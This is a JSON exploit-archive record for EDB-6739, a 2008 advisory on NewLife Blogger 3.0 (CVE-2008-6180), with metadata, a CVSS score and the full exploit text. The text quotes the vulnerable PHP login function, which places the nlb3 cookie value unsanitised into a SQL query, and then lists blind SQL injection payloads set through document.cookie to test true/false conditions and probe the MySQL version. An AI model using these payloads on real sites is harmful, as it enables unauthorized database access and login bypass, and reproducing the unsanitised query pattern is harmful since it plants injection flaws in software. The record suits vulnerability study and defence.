{"exploit":{"id":"EDB-6739","name":"NewLife Blogger 3.0 - Insecure Cookie Handling / SQL Injection (SQLi)","description":"NewLife Blogger 3.0 - Insecure Cookie Handling / SQL Injection (SQLi)","cves":["CVE-2008-6180"],"author":"Pepelux","published":"2008-10-12","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6739","path":"exploits/php/webapps/6739.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6739.txt","vulnerabilities":[{"id":"CVE-2008-6180","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in system/nlb_user.class.php in NewLife Blogger 3.0 and earlier, and possibly 3.3.1, allows remote attackers to execute arbitrary SQL commands via the nlb3 cookie.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6180","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6180"},"updatedAt":"2024-08-07T11:20:25.354Z","retrievedAt":"2026-11-27T03:09:16.837Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6739.png?v=2","url":"https://exploitbin.com/exploits/EDB-6739","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6739/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6739/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nNewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n$ Program: NewLife Blogger\n$ Version: <= 3.0\n$ File affected: system/nlb_user.class.php\n$ Download: http://sourceforge.net/projects/nlb/\n\n\nFound by Pepelux <pepelux[at]enye-sec.org>\neNYe-Sec - www.enye-sec.org\n\n\nCookie format is:\nnlb3=7::96e79218965eb72c92a549dd5a330112\nnlb3=iduser::md5 pass\n\n--Bug --\n\n143.\tfunction checkLogin( ) {\n144.\t\t// loing check\n145.\t\tif( isset( $_COOKIE['nlb3'] ) ) {\n146.\t\t\t$data = explode( '::', $_COOKIE['nlb3'] );\n147.\t\t\t$id = $data[0];\n148.\t\t\t$pass = $data[1];\n149.\t\t\t$fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;');\n150.\t\t\tif( $pass === $fromdb['password'] ) {\n151.\t\t\t\t$this->setid( $id );\n152.\t\t\t\t$this->isLogedIn = true;\n153.\t\t\t} else {\n154.\t\t\t\t$this->isLogedIn = false;\n155.\t\t\t}\n156.\t\t}\n157.\t\t// we also check for banned users\n158.\t\t$this->checkBanned();\n159.\t}\n\n\n-- Exploit --\n\nTrue/false method to blind mysql injection. Examples:\n\njavascript:document.cookie = \"nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112\"\nResponse: You appears as logged in\n\njavascript:document.cookie = \"nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112\"\nResponse: You appears as not logged in\n\njavascript:document.cookie = \"nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112\nResponse: You appears as logged in if MySQL version is 4\n\njavascript:document.cookie = \"nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112\nResponse: You appears as logged in if MySQL version is 5\n\n# milw0rm.com [2008-10-12]","sha256":"613aab613c4cf1b21970fcb044556c7b091a3942708b662422d7742f26215d00","bytes":1775,"fetchedAt":"2026-11-27T03:09:13.617Z","encoding":"utf-8 (display only; download retains original bytes)"}